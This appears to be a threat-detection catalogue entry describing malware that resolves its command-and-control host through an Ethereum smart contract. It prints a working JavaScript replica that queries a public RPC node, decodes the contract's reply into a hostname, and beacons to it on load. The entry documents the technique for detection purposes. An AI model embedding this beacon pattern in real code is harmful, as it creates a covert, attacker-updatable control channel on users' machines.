34/3b/343b244c2483248ca31edfd2c38090052216d920356f3944db7cf04b494072b4
Beaconing to dynamic remote host
Resolves C2 configuration through an Ethereum contractEVM eth_call method field
SHA-256343b244c2483248ca31edfd2c38090052216d920356f3944db7cf04b494072b4
MaleculeO(C₂)H₂(Cm₁₀Db₅)
Evidence
1// Technique replica: a contract supplies a mutable beacon destination.
2async function beacon() {
3 const reply = await fetch('https://ethereum.publicnode.com', {
4 method: 'POST', body: JSON.stringify({jsonrpc: '2.0', id: 1,
5 method: 'eth_call', params: [{to: '0x277852e1C349b03c79E348018a8391bD21C412E8', data: '0x'}, 'latest']})
6 });
7 const result = (await reply.json()).result;
8 const host = Buffer.from(result.slice(2), 'hex').toString('utf8').replace(/\0/g, '');
9 await fetch(`https://${host}/`, {method: 'POST', body: JSON.stringify({status: 1})});
10}
11beacon();